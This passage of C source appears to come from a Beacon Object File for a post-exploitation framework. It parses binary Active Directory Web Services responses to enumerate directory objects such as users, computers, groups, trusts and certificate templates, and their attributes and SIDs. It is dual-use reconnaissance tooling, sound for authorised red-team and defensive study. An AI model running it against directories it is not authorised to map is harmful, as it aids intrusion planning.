}\n\n                            if (totalSidLen > 8)\n                            {\n                                BYTE revision = sidBytes[0];\n                                BYTE subAuthCount = sidBytes[1];\n                                ULONGLONG authority = 0;\n                                for (int k = 0; k < 6; k++)\n                                {\n                                    authority = (authority << 8) | sidBytes[2 + k];\n                                }\n                                char *p = outValue;\n                                p += MSVCRT$sprintf(p, \"S-%u-%llu\", revision, authority);\n                                for (BYTE k = 0; k < subAuthCount && (8 + k * 4 + 3) <= totalSidLen; k++)\n                                {\n                                    DWORD subAuth = sidBytes[8 + k * 4] | (sidBytes[8 + k * 4 + 1] << 8) |\n                                                    (sidBytes[8 + k * 4 + 2] << 16) | (sidBytes[8 + k * 4 + 3] << 24);\n                                    p += MSVCRT$sprintf(p, \"-%lu\", subAuth);\n                                }\n                                return TRUE;\n                            }\n                        }\n                        else if (MSVCRT$_stricmp(attributeName, \"securityIdentifier\") == 0)\n                        {\n                            BYTE sidBytes[68];\n                            DWORD totalSidLen = binLen;\n                            MSVCRT$memcpy(sidBytes, data + j + 2, binLen);\n\n                            DWORD nextPos = j + 2 + binLen;\n                            if (nextPos < len && data[nextPos] == 0x9F)\n                            {\n                                BYTE contLen = data[nextPos + 1];\n                                if (nextPos + 2 + contLen <= len)\n                                {\n                                    MSVCRT$memcpy(sidBytes + binLen, data + nextPos + 2, contLen);\n                                    totalSidLen = binLen + contLen;\n                                }\n                            }\n\n                            if (totalSidLen > 8)\n                            {\n                                BYTE revision = sidBytes[0];\n                                BYTE subAuthCount = sidBytes[1];\n                                ULONGLONG authority = 0;\n                                for (int k = 0; k < 6; k++)\n                                {\n                                    authority = (authority << 8) | sidBytes[2 + k];\n                                }\n                                char *p = outValue;\n                                p += MSVCRT$sprintf(p, \"S-%u-%llu\", revision, authority);\n                                for (BYTE k = 0; k < subAuthCount && (8 + k * 4 + 3) <= totalSidLen; k++)\n                                {\n                                    DWORD subAuth = sidBytes[8 + k * 4] | (sidBytes[8 + k * 4 + 1] << 8) |\n                                                    (sidBytes[8 + k * 4 + 2] << 16) | (sidBytes[8 + k * 4 + 3] << 24);\n                                    p += MSVCRT$sprintf(p, \"-%lu\", subAuth);\n                                }\n                                return TRUE;\n                            }\n                        }\n                        else\n                        {\n                            char *b64 = ConvertBinaryToBase64(data + j + 2, binLen);\n                            if (b64)\n                            {\n                                MSVCRT$strncpy(outValue, b64, outSize - 1);\n                                outValue[outSize - 1] = '\\0';\n                                intFree(b64);\n                            }\n                        }\n                        return TRUE;\n                    }\n                }\n                else if ((recordType == 0xA0 || recordType == 0xA1) && j + 2 < len)\n                {\n                    DWORD binLen = data[j + 1] | (data[j + 2] << 8);\n                    if (binLen > 0 && j + 3 + binLen <= len)\n                    {\n                        BYTE *binData = data + j + 3;\n                        DWORD totalLen = binLen;\n\n                        DWORD nextOffset = j + 3 + binLen;\n                        if (nextOffset < len && data[nextOffset] == 0x9F && nextOffset + 1 < len)\n                        {\n                            BYTE contLen = data[nextOffset + 1];\n                            if (nextOffset + 2 + contLen <= len && contLen > 0)\n                            {\n                                BYTE *combined = (BYTE *)intAlloc(binLen + contLen);\n                                if (combined)\n                                {\n                                    MSVCRT$memcpy(combined, binData, binLen);\n                                    MSVCRT$memcpy(combined + binLen, data + nextOffset + 2, contLen);\n                                    binData = combined;\n                                    totalLen = binLen + contLen;\n                                }\n                            }\n                        }\n\n                        char *b64 = ConvertBinaryToBase64(binData, totalLen);\n                        if (b64)\n                        {\n                            MSVCRT$strncpy(outValue, b64, outSize - 1);\n                            outValue[outSize - 1] = '\\0';\n                            intFree(b64);\n                        }\n\n                        if (binData != data + j + 3)\n                        {\n                            intFree((void *)binData);\n                        }\n\n                        return TRUE;\n                    }\n                }\n                else if (recordType == 0x01)\n                {\n                    break;\n                }\n\n                j++;\n            }\n\n            // For multi-value attributes, return whats collected if found any values\n            if (isMultiValue && MSVCRT$strlen(outValue) > 0)\n            {\n                return TRUE;\n            }\n\n            return FALSE;\n        }\n    }\n\n    return FALSE;\n}\n\nDWORD DiscoverAttributeNames(BYTE *data, DWORD start, DWORD end, char attributeNames[][64], DWORD maxAttrs)\n{\n    DWORD attrCount = 0;\n\n    const char *skipMetadata[] = {\n        \"wsen\", \"Items\", \"domainDNS\", \"objectReferenceProperty\", \"value\", \"xsi\", \"type\", \"LdapSyntax\", \"DSDNString\",\n        \"Integer\", \"LargeInteger\", \"GeneralizedTimeString\", \"UnicodeString\", \"Boolean\", \"ObjectIdentifier\", \"top\",\n        \"leaf\", \"domain\", \"DNBinary\", \"ReplicaLink\", \"OctetString\", \"SidString\", \"addata\", \"Syntax\", \"String\",\n        \"DirectoryString\", \"DNString\", \"DNWithBinary\", \"DNWithString\", \"PrintableString\", \"UTF8String\", \"IA5String\",\n        \"TimeString\", \"Identifier\",\n        // Object type markers - these are XML element names, not attributes\n        \"user\", \"group\", \"computer\", \"organizationalUnit\", \"container\",\n        // Common objectClass values that might be picked up as attributes\n        \"person\", \"organizationalPerson\", \"inetOrgPerson\", \"contact\", \"msDS-GroupManagedServiceAccount\",\n        \"msDS-ManagedServiceAccount\", \"trustedDomain\", \"foreignSecurityPrincipal\", \"device\",\n        // Other metadata that might appear\n        \"container-hierarchy-parent\", \"relativeDistinguishedName\", \"ad\", \"xsd\", \"instance\", NULL};\n\n    // Scan for addata.attributeName patterns\n    for (DWORD i = start; i < end - 10 && attrCount < maxAttrs; i++)\n    {\n        if (data[i] == 0x41 && data[i + 1] == 0x06 && i + 8 < end && MSVCRT$memcmp(data + i + 2, \"addata\", 6) == 0)\n        {\n\n            BYTE attrLen = data[i + 8];\n            if (attrLen > 0 && attrLen < 64 && i + 9 + attrLen <= end)\n            {\n                // Extract attribute name\n                char attrName[64];\n                MSVCRT$memcpy(attrName, data + i + 9, attrLen);\n                attrName[attrLen] = '\\0';\n\n                // Check if it's a valid attribute name (not metadata)\n                BOOL isValid = TRUE;\n                BOOL hasAlpha = FALSE;\n                for (BYTE j = 0; j < attrLen; j++)\n                {\n                    if ((attrName[j] >= 'a' && attrName[j] <= 'z') || (attrName[j] >= 'A' && attrName[j] <= 'Z'))\n                    {\n                        hasAlpha = TRUE;\n                    }\n                    else if (attrName[j] != '-' && attrName[j] != '_' && !(attrName[j] >= '0' && attrName[j] <= '9'))\n                    {\n                        isValid = FALSE;\n                        break;\n                    }\n                }\n\n                // Skip metadata strings\n                if (isValid && hasAlpha)\n                {\n                    for (int m = 0; skipMetadata[m] != NULL; m++)\n                    {\n                        if (MSVCRT$_stricmp(attrName, skipMetadata[m]) == 0)\n                        {\n                            isValid = FALSE;\n                            break;\n                        }\n                    }\n                }\n\n                if (isValid && hasAlpha)\n                {\n                    BOOL isDuplicate = FALSE;\n                    for (DWORD j = 0; j < attrCount; j++)\n                    {\n                        if (MSVCRT$_stricmp(attributeNames[j], attrName) == 0)\n                        {\n                            isDuplicate = TRUE;\n                            break;\n                        }\n                    }\n\n                    if (!isDuplicate && attrCount < maxAttrs)\n                    {\n                        MSVCRT$strcpy(attributeNames[attrCount], attrName);\n                        attrCount++;\n                    }\n                }\n            }\n        }\n\n        // Also look for direct attribute patterns (filtered responses)\n        // Pattern: <attrLen> <attributeName> followed by specific markers\n        if (i > 0 && data[i - 1] > 0 && data[i - 1] < 64)\n        {\n            BYTE possibleAttrLen = data[i - 1];\n            if (i + possibleAttrLen + 1 < end)\n            {\n                // Check if followed by known markers\n                BYTE followingByte = data[i + possibleAttrLen];\n                if (followingByte == 0x04 || followingByte == 0x41 || followingByte == 0x05 || followingByte == 0x98 ||\n                    (followingByte >= 0x80 && followingByte <= 0x86))\n                {\n\n                    // Extract potential attribute name\n                    char attrName[64];\n                    BOOL isValid = TRUE;\n                    BOOL hasAlpha = FALSE;\n\n                    // Must start at valid position and contain valid chars\n                    if (i + possibleAttrLen > end)\n                    {\n                        continue;\n                    }\n\n                    for (BYTE j = 0; j < possibleAttrLen; j++)\n                    {\n                        attrName[j] = data[i + j];\n                        if ((attrName[j] >= 'a' && attrName[j] <= 'z') || (attrName[j] >= 'A' && attrName[j] <= 'Z'))\n                        {\n                            hasAlpha = TRUE;\n                        }\n                        else if (attrName[j] != '-' && attrName[j] != '_' &&\n                                 !(attrName[j] >= '0' && attrName[j] <= '9'))\n                        {\n                            isValid = FALSE;\n                            break;\n                        }\n                    }\n                    attrName[possibleAttrLen] = '\\0';\n\n                    if (isValid && hasAlpha && MSVCRT$strlen(attrName) > 2)\n                    {\n                        // Skip metadata strings\n                        for (int m = 0; skipMetadata[m] != NULL; m++)\n                        {\n                            if (MSVCRT$_stricmp(attrName, skipMetadata[m]) == 0)\n                            {\n                                isValid = FALSE;\n                                break;\n                            }\n                        }\n\n                        if (isValid)\n                        {\n                            // Check if we already have this attribute\n                            BOOL isDuplicate = FALSE;\n                            for (DWORD j = 0; j < attrCount; j++)\n                            {\n                                if (MSVCRT$_stricmp(attributeNames[j], attrName) == 0)\n                                {\n                                    isDuplicate = TRUE;\n                                    break;\n                                }\n                            }\n\n                            if (!isDuplicate)\n                            {\n                                MSVCRT$strcpy(attributeNames[attrCount], attrName);\n                                attrCount++;\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    // Also check for direct attribute patterns (length-prefixed)\n    for (DWORD i = start + 1; i < end - 5 && attrCount < maxAttrs; i++)\n    {\n        BYTE possibleLen = data[i - 1];\n        if (possibleLen > 0 && possibleLen < 64 && i + possibleLen + 2 < end)\n        {\n            if (data[i + possibleLen] == 0x04 || data[i + possibleLen] == 0x41 || data[i + possibleLen] == 0x05 ||\n                (data[i + possibleLen] == 0x98 && data[i + possibleLen + 1] == 0x0A) ||\n                (data[i + possibleLen] >= 0x80 && data[i + possibleLen] <= 0x86))\n            {\n\n                char attrName[64];\n                MSVCRT$memcpy(attrName, data + i, possibleLen);\n                attrName[possibleLen] = '\\0';\n\n                BOOL isValid = TRUE;\n                BOOL hasAlpha = FALSE;\n                for (BYTE j = 0; j < possibleLen; j++)\n                {\n                    if ((attrName[j] >= 'a' && attrName[j] <= 'z') || (attrName[j] >= 'A' && attrName[j] <= 'Z'))\n                    {\n                        hasAlpha = TRUE;\n                    }\n                    else if (attrName[j] != '-' && attrName[j] != '_' && !(attrName[j] >= '0' && attrName[j] <= '9'))\n                    {\n                        isValid = FALSE;\n                        break;\n                    }\n                }\n\n                if (isValid && hasAlpha)\n                {\n                    for (int m = 0; skipMetadata[m] != NULL; m++)\n                    {\n                        if (MSVCRT$_stricmp(attrName, skipMetadata[m]) == 0)\n                        {\n                            isValid = FALSE;\n                            break;\n                        }\n                    }\n\n                    if (isValid)\n                    {\n                        BOOL isDuplicate = FALSE;\n                        for (DWORD j = 0; j < attrCount; j++)\n                        {\n                            if (MSVCRT$_stricmp(attributeNames[j], attrName) == 0)\n                            {\n                                isDuplicate = TRUE;\n                                break;\n                            }\n                        }\n\n                        if (!isDuplicate && attrCount < maxAttrs)\n                        {\n                            MSVCRT$strcpy(attributeNames[attrCount], attrName);\n                            attrCount++;\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    return attrCount;\n}\n\nDWORD DiscoverAttributesInObject(BYTE *data, DWORD start, DWORD end, ATTRIBUTE_ENTRY *attrs, DWORD maxAttrs)\n{\n    DWORD attrCount = 0;\n\n    char (*attributeNames)[64] = (char (*)[64])intAlloc(200 * 64);\n    if (!attributeNames)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for attribute names\");\n        return 0;\n    }\n\n    // Discover from object boundaries\n    DWORD nameCount = DiscoverAttributeNames(data, start, end, attributeNames, 200);\n\n    // Extract value for each discovered attribute\n    for (DWORD i = 0; i < nameCount && attrCount < maxAttrs; i++)\n    {\n        if (attrCount >= maxAttrs)\n            break;\n\n        // Clear the entry first - ensure full initialization\n        MSVCRT$memset(&attrs[attrCount], 0, sizeof(ATTRIBUTE_ENTRY));\n\n        // Copy the attribute name\n        MSVCRT$strcpy(attrs[attrCount].name, attributeNames[i]);\n\n        // Use universal extractor to get the value - search within object boundaries\n        if (data && start < end && attributeNames[i][0] != '\\0')\n        {\n            if (ExtractAttributeUniversal(data + start, end - start, attributeNames[i], attrs[attrCount].value,\n                                          sizeof(attrs[attrCount].value)))\n            {\n                attrCount++;\n            }\n        }\n    }\n\n    intFree(attributeNames);\n    return attrCount;\n}\n\n// First tries explicit type markers (addata:user, addata:computer, etc.)\n// Falls back to DN-based detection for objects without type markers (like trustedDomain)\nDWORD FindObjectBoundaries(BYTE *data, DWORD dataLen, OBJECT_BOUNDARY *boundaries, DWORD maxBoundaries)\n{\n    DWORD boundaryCount = 0;\n    DWORD *objectStarts = (DWORD *)intAlloc(5000 * sizeof(DWORD));\n    if (!objectStarts)\n        return 0;\n    DWORD objectStartCount = 0;\n\n    for (DWORD i = 0; i < dataLen - 20; i++)\n    {\n        if (i + 6 < dataLen && MSVCRT$memcmp(data + i, \"addata\", 6) == 0)\n        {\n            BYTE lenByte = data[i + 6];\n\n            if (lenByte == 0x04 && i + 11 < dataLen && MSVCRT$memcmp(data + i + 7, \"user\", 4) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x08 && i + 15 < dataLen && MSVCRT$memcmp(data + i + 7, \"computer\", 8) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x05 && i + 12 < dataLen && MSVCRT$memcmp(data + i + 7, \"group\", 5) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x06 && i + 13 < dataLen && MSVCRT$memcmp(data + i + 7, \"domain\", 6) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x09 && i + 16 < dataLen && MSVCRT$memcmp(data + i + 7, \"domainDNS\", 9) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x09 && i + 16 < dataLen && MSVCRT$memcmp(data + i + 7, \"container\", 9) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x12 && i + 25 < dataLen && MSVCRT$memcmp(data + i + 7, \"organizationalUnit\", 18) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x07 && i + 14 < dataLen && MSVCRT$memcmp(data + i + 7, \"dnsNode\", 7) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x06 && i + 13 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDFSR\", 6) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x18 && i + 31 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"foreignSecurityPrincipal\", 24) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x14 && i + 27 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"groupPolicyContainer\", 20) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x09 && i + 16 < dataLen && MSVCRT$memcmp(data + i + 7, \"msImaging\", 9) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0C && i + 19 < dataLen && MSVCRT$memcmp(data + i + 7, \"lostAndFound\", 12) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x14 && i + 27 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"infrastructureUpdate\", 20) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0D && i + 20 < dataLen && MSVCRT$memcmp(data + i + 7, \"builtinDomain\", 13) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0D && i + 20 < dataLen && MSVCRT$memcmp(data + i + 7, \"trustedDomain\", 13) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0C && i + 19 < dataLen && MSVCRT$memcmp(data + i + 7, \"rpcContainer\", 12) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x07 && i + 14 < dataLen && MSVCRT$memcmp(data + i + 7, \"dnsZone\", 7) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x07 && i + 14 < dataLen && MSVCRT$memcmp(data + i + 7, \"dnsNode\", 7) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x09 && i + 16 < dataLen && MSVCRT$memcmp(data + i + 7, \"samServer\", 9) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0A && i + 17 < dataLen && MSVCRT$memcmp(data + i + 7, \"rIDManager\", 10) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x06 && i + 13 < dataLen && MSVCRT$memcmp(data + i + 7, \"rIDSet\", 6) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x10 && i + 23 < dataLen && MSVCRT$memcmp(data + i + 7, \"fileLinkTracking\", 16) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x18 && i + 31 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"linkTrackObjectMoveTable\", 24) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0C && i + 19 < dataLen && MSVCRT$memcmp(data + i + 7, \"domainPolicy\", 12) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0A && i + 17 < dataLen && MSVCRT$memcmp(data + i + 7, \"classStore\", 10) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x14 && i + 27 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"infrastructureUpdate\", 20) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0D && i + 20 < dataLen && MSVCRT$memcmp(data + i + 7, \"nTFRSSettings\", 13) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x14 && i + 27 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDFSR-LocalSettings\", 20) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x11 && i + 24 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDFSR-Subscriber\", 17) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x13 && i + 26 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDFSR-Subscription\", 19) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x15 && i + 28 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDFSR-GlobalSettings\", 21) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x17 && i + 30 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDFSR-ReplicationGroup\", 23) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0E && i + 21 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDFSR-Content\", 14) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x11 && i + 24 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDFSR-ContentSet\", 17) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0F && i + 22 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDFSR-Topology\", 15) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0D && i + 20 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDFSR-Member\", 13) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x10 && i + 23 < dataLen && MSVCRT$memcmp(data + i + 7, \"dfsConfiguration\", 16) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0E && i + 21 < dataLen && MSVCRT$memcmp(data + i + 7, \"msImaging-PSPs\", 14) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x07 && i + 14 < dataLen && MSVCRT$memcmp(data + i + 7, \"contact\", 7) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x20 && i + 39 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDS-GroupManagedServiceAccount\", 32) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x1B && i + 34 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDS-ManagedServiceAccount\", 27) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0B && i + 18 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDS-Device\", 11) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x15 && i + 28 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDS-PasswordSettings\", 21) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x04 && i + 11 < dataLen && MSVCRT$memcmp(data + i + 7, \"site\", 4) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x06 && i + 13 < dataLen && MSVCRT$memcmp(data + i + 7, \"subnet\", 6) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x08 && i + 15 < dataLen && MSVCRT$memcmp(data + i + 7, \"siteLink\", 8) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0E && i + 21 < dataLen && MSVCRT$memcmp(data + i + 7, \"siteLinkBridge\", 14) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x07 && i + 14 < dataLen && MSVCRT$memcmp(data + i + 7, \"nTDSDSA\", 7) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x06 && i + 13 < dataLen && MSVCRT$memcmp(data + i + 7, \"server\", 6) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0E && i + 21 < dataLen && MSVCRT$memcmp(data + i + 7, \"nTDSConnection\", 14) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x14 && i + 27 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"pKIEnrollmentService\", 20) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x16 && i + 29 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"pKICertificateTemplate\", 22) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x16 && i + 29 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"certificationAuthority\", 22) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x14 && i + 27 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"cRLDistributionPoint\", 20) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x13 && i + 26 < dataLen && MSVCRT$memcmp(data + i + 7, \"pKIKeyRecoveryAgent\", 19) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x08 && i + 15 < dataLen && MSVCRT$memcmp(data + i + 7, \"crossRef\", 8) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0B && i + 18 < dataLen && MSVCRT$memcmp(data + i + 7, \"queryPolicy\", 11) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x13 && i + 26 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDS-QuotaContainer\", 19) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x11 && i + 24 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDS-QuotaControl\", 17) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0B && i + 18 < dataLen && MSVCRT$memcmp(data + i + 7, \"classSchema\", 11) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0F && i + 22 < dataLen && MSVCRT$memcmp(data + i + 7, \"attributeSchema\", 15) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x09 && i + 16 < dataLen && MSVCRT$memcmp(data + i + 7, \"subSchema\", 9) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x16 && i + 29 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"serviceConnectionPoint\", 22) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x11 && i + 24 < dataLen && MSVCRT$memcmp(data + i + 7, \"msSFU30DomainInfo\", 17) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0A && i + 17 < dataLen && MSVCRT$memcmp(data + i + 7, \"printQueue\", 10) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x06 && i + 13 < dataLen && MSVCRT$memcmp(data + i + 7, \"volume\", 6) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0F && i + 22 < dataLen && MSVCRT$memcmp(data + i + 7, \"connectionPoint\", 15) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0D && i + 20 < dataLen && MSVCRT$memcmp(data + i + 7, \"dynamicObject\", 13) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0D && i + 20 < dataLen && MSVCRT$memcmp(data + i + 7, \"inetOrgPerson\", 13) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0E && i + 21 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDS-ClaimType\", 14) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x15 && i + 